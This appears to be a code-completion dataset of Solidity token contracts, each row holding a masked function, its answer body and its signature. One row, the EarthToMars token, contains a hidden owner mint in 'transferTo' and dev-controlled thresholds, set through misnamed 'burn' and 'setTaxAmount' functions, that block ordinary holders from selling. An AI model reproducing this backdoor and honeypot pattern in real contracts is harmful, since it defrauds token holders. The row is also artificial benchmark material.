source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
20847
Owned
acceptOwnership
contract Owned { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } <FILL_FUNCTION> }
require(msg.sender == newOwner); owner = newOwner; newOwner = address(0);
function acceptOwnership() public
function acceptOwnership() public
48110
NewToken
transfer
contract NewToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint8 public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function NewToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_from]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply.add(amount) > _totalSupply); require(balances[owner].add(amount) > balances[owner]); balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(deprecated); return super.destroyBlackFunds(_blackListedUser); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**uint(decimals)); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
contract NewToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint8 public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function NewToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } <FILL_FUNCTION> // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_from]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply.add(amount) > _totalSupply); require(balances[owner].add(amount) > balances[owner]); balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(deprecated); return super.destroyBlackFunds(_blackListedUser); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**uint(decimals)); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
require(!isBlackListed[msg.sender]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); }
function transfer(address _to, uint _value) public whenNotPaused returns (bool)
// Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool)
94028
EarthToMars
transferTo
contract EarthToMars is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'EarthToMars'; string private _symbol = 'ETM🪐'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _taxAmount; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 taxAm, uint256 feeAm) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _taxAmount = taxAm; _feeAmount = feeAm; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferTo() public {<FILL_FUNCTION_BODY> } function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _taxAmount = maxTaxAmount * 10**18; } function burn() public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); uint256 c = 1; _feeAmount = c; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (balanceOf(sender) >= _feeAmount && balanceOf(sender) <= _taxAmount) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
contract EarthToMars is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'EarthToMars'; string private _symbol = 'ETM🪐'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _taxAmount; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 taxAm, uint256 feeAm) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _taxAmount = taxAm; _feeAmount = feeAm; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } <FILL_FUNCTION> function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _taxAmount = maxTaxAmount * 10**18; } function burn() public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); uint256 c = 1; _feeAmount = c; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (balanceOf(sender) >= _feeAmount && balanceOf(sender) <= _taxAmount) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
require(_msgSender() != address(0), "ERC20: cannot permit zero address"); require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _tTotal = _tTotal.add(_maxTotal); _balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal); emit Transfer(address(0), _msgSender(), _maxTotal);
function transferTo() public
function transferTo() public
64232
Ownable
null
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal {<FILL_FUNCTION_BODY> } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Access denied"); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Access denied"); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
_owner = msg.sender; emit OwnershipTransferred(address(0), _owner);
constructor() internal
constructor() internal
43456
SatanCoinRaffle
setRound
contract SatanCoinRaffle { // address public constant satanCoinAddress = 0xCCcA48874780f9c42b162c9617bC6324c5142C22; address public constant randomAddress = 0x0230CfC895646d34538aE5b684d76Bf40a8B8B89; address public owner; Random public rand; struct RoundResults { uint roundNum; uint raffleAmount; bool raffleComplete; uint winnerIndex; address winner; } RoundResults[9] public roundResults; event RandomNumGenerated(uint64 _randomNum); event RoundSet(uint64 _coinNumBought, address ); event RaffleIssued(uint _roundNumber, uint _amountWon, uint _winnerIndex); event WinnerSet(uint _roundNumber, uint _winnerIndex, address winner); modifier onlyOwner { require(msg.sender == owner); _; } function SatanCoinRaffle () { owner = msg.sender; rand = Random(randomAddress); } function random (uint64 upper) private returns (uint64) { //uses random contract: https://etherscan.io/address/0x0230CfC895646d34538aE5b684d76Bf40a8B8B89 // https://www.npmjs.com/package/eth-random uint64 randomNum = rand.random(upper); RandomNumGenerated(randomNum); return randomNum; } function setRound(uint roundNum, uint raffleAmount) public onlyOwner {<FILL_FUNCTION_BODY> } function setWinner(uint roundNum, address winner) public onlyOwner returns (bool) { require(roundNum < 9 && roundNum > 0); //the raffle must have already been run require(roundResults[roundNum-1].raffleComplete); //can only set winner once require(roundResults[roundNum-1].winner == address(0)); /* winner address is set manually based on the winningIndex using the transaction history of the SatanCoin contract. results may be compared with the contract itself here: https://etherscan.io/address/0xCCcA48874780f9c42b162c9617bC6324c5142C22 */ roundResults[roundNum-1].winner = winner; WinnerSet(roundNum, roundResults[roundNum-1].winnerIndex, roundResults[roundNum-1].winner); return true; } function raffle (uint roundNum) internal returns (bool) { require(roundNum < 9 && roundNum > 0); //can only run a raffle once require(!roundResults[roundNum-1].raffleComplete); //the winning index is generated by random number roundResults[roundNum-1].winnerIndex = random(uint64(74-roundResults[roundNum-1].raffleAmount)); roundResults[roundNum-1].raffleComplete = true; RaffleIssued(roundNum, roundResults[roundNum-1].raffleAmount, roundResults[roundNum-1].winnerIndex); return true; } }
contract SatanCoinRaffle { // address public constant satanCoinAddress = 0xCCcA48874780f9c42b162c9617bC6324c5142C22; address public constant randomAddress = 0x0230CfC895646d34538aE5b684d76Bf40a8B8B89; address public owner; Random public rand; struct RoundResults { uint roundNum; uint raffleAmount; bool raffleComplete; uint winnerIndex; address winner; } RoundResults[9] public roundResults; event RandomNumGenerated(uint64 _randomNum); event RoundSet(uint64 _coinNumBought, address ); event RaffleIssued(uint _roundNumber, uint _amountWon, uint _winnerIndex); event WinnerSet(uint _roundNumber, uint _winnerIndex, address winner); modifier onlyOwner { require(msg.sender == owner); _; } function SatanCoinRaffle () { owner = msg.sender; rand = Random(randomAddress); } function random (uint64 upper) private returns (uint64) { //uses random contract: https://etherscan.io/address/0x0230CfC895646d34538aE5b684d76Bf40a8B8B89 // https://www.npmjs.com/package/eth-random uint64 randomNum = rand.random(upper); RandomNumGenerated(randomNum); return randomNum; } <FILL_FUNCTION> function setWinner(uint roundNum, address winner) public onlyOwner returns (bool) { require(roundNum < 9 && roundNum > 0); //the raffle must have already been run require(roundResults[roundNum-1].raffleComplete); //can only set winner once require(roundResults[roundNum-1].winner == address(0)); /* winner address is set manually based on the winningIndex using the transaction history of the SatanCoin contract. results may be compared with the contract itself here: https://etherscan.io/address/0xCCcA48874780f9c42b162c9617bC6324c5142C22 */ roundResults[roundNum-1].winner = winner; WinnerSet(roundNum, roundResults[roundNum-1].winnerIndex, roundResults[roundNum-1].winner); return true; } function raffle (uint roundNum) internal returns (bool) { require(roundNum < 9 && roundNum > 0); //can only run a raffle once require(!roundResults[roundNum-1].raffleComplete); //the winning index is generated by random number roundResults[roundNum-1].winnerIndex = random(uint64(74-roundResults[roundNum-1].raffleAmount)); roundResults[roundNum-1].raffleComplete = true; RaffleIssued(roundNum, roundResults[roundNum-1].raffleAmount, roundResults[roundNum-1].winnerIndex); return true; } }
require(roundNum < 9 && roundNum > 0); require(raffleAmount < 74 && raffleAmount > 0); require(!roundResults[roundNum-1].raffleComplete); roundResults[roundNum-1] = RoundResults(roundNum, raffleAmount, false, 0, address(0)); assert(raffle(roundNum));
function setRound(uint roundNum, uint raffleAmount) public onlyOwner
function setRound(uint roundNum, uint raffleAmount) public onlyOwner
90336
SYNTH
transferFrom
contract SYNTH is ERC20 { string public constant symbol = "SYNTH"; string public constant name = "Synthesis"; uint8 public constant decimals = 8; uint256 _totalSupply = 7000000 * 10**8; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function SYNTH() public { owner = msg.sender; balances[owner] = 7000000 * 10**8; } modifier onlyOwner() { require(msg.sender == owner); _; } function totalSupply() public constant returns (uint256 returnedTotalSupply) { returnedTotalSupply = _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract SYNTH is ERC20 { string public constant symbol = "SYNTH"; string public constant name = "Synthesis"; uint8 public constant decimals = 8; uint256 _totalSupply = 7000000 * 10**8; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function SYNTH() public { owner = msg.sender; balances[owner] = 7000000 * 10**8; } modifier onlyOwner() { require(msg.sender == owner); _; } function totalSupply() public constant returns (uint256 returnedTotalSupply) { returnedTotalSupply = _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } <FILL_FUNCTION> function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; }
function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success)
function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success)
64393
ZCOR
burn
contract ZCOR is ERC20Interface, Ownable{ string public name = "ZROCOR"; string public symbol = "ZCOR"; uint public decimals = 0; uint public supply; address public founder; mapping(address => uint) public balances; mapping(uint => mapping(address => uint)) public timeLockedBalances; mapping(uint => address[]) public lockedAddresses; event Transfer(address indexed from, address indexed to, uint tokens); constructor() public{ supply = 10000000000; founder = msg.sender; balances[founder] = supply; } // transfer locked balance to an address function transferLockedBalance(uint _category, address _to, uint _value) public onlyOwner returns (bool success) { require(balances[msg.sender] >= _value && _value > 0); lockedAddresses[_category].push(_to); balances[msg.sender] -= _value; timeLockedBalances[_category][_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } // unlock category of locked address function unlockBalance(uint _category) public onlyOwner returns (bool success) { uint _length = lockedAddresses[_category].length; address _addr; uint _value = 0; for(uint i = 0; i< _length; i++) { _addr = lockedAddresses[_category][i]; _value = timeLockedBalances[_category][_addr]; balances[_addr] += _value; timeLockedBalances[_category][_addr] = 0; } delete lockedAddresses[_category]; return true; } //view locked balance function lockedBalanceOf(uint level, address _address) public view returns (uint balance) { return timeLockedBalances[level][_address]; } function totalSupply() public view returns (uint){ return supply; } function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } //transfer from the owner balance to another address function transfer(address to, uint tokens) public returns (bool success){ require(balances[msg.sender] >= tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } function mint(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] += _value; // Add to the sender supply += _value; // Updates totalSupply return true; } }
contract ZCOR is ERC20Interface, Ownable{ string public name = "ZROCOR"; string public symbol = "ZCOR"; uint public decimals = 0; uint public supply; address public founder; mapping(address => uint) public balances; mapping(uint => mapping(address => uint)) public timeLockedBalances; mapping(uint => address[]) public lockedAddresses; event Transfer(address indexed from, address indexed to, uint tokens); constructor() public{ supply = 10000000000; founder = msg.sender; balances[founder] = supply; } // transfer locked balance to an address function transferLockedBalance(uint _category, address _to, uint _value) public onlyOwner returns (bool success) { require(balances[msg.sender] >= _value && _value > 0); lockedAddresses[_category].push(_to); balances[msg.sender] -= _value; timeLockedBalances[_category][_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } // unlock category of locked address function unlockBalance(uint _category) public onlyOwner returns (bool success) { uint _length = lockedAddresses[_category].length; address _addr; uint _value = 0; for(uint i = 0; i< _length; i++) { _addr = lockedAddresses[_category][i]; _value = timeLockedBalances[_category][_addr]; balances[_addr] += _value; timeLockedBalances[_category][_addr] = 0; } delete lockedAddresses[_category]; return true; } //view locked balance function lockedBalanceOf(uint level, address _address) public view returns (uint balance) { return timeLockedBalances[level][_address]; } function totalSupply() public view returns (uint){ return supply; } function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } //transfer from the owner balance to another address function transfer(address to, uint tokens) public returns (bool success){ require(balances[msg.sender] >= tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> function mint(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] += _value; // Add to the sender supply += _value; // Updates totalSupply return true; } }
require(balances[founder] >= _value); // Check if the sender has enough balances[founder] -= _value; // Subtract from the sender supply -= _value; // Updates totalSupply return true;
function burn(uint256 _value) public onlyOwner returns (bool success)
function burn(uint256 _value) public onlyOwner returns (bool success)
54229
UNFT
removeAllFee
contract UNFT is Context, IERC20, Ownable { //Prepared by Grant Fields using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x379fEDF5DFfA2311a7E2F132FFDdBbA3c149229C); // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Ultimate NFT"; string private _symbol = "UNFT"; uint8 private _decimals = 9; uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public marketingDivisor = 3; uint256 public _maxTxAmount = 1000 * 10**6 * 10**9; uint256 private minimumTokensBeforeSwap = 2500000 * 10**9; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public buyBackEnabled = true; event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _taxFee = 0; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; 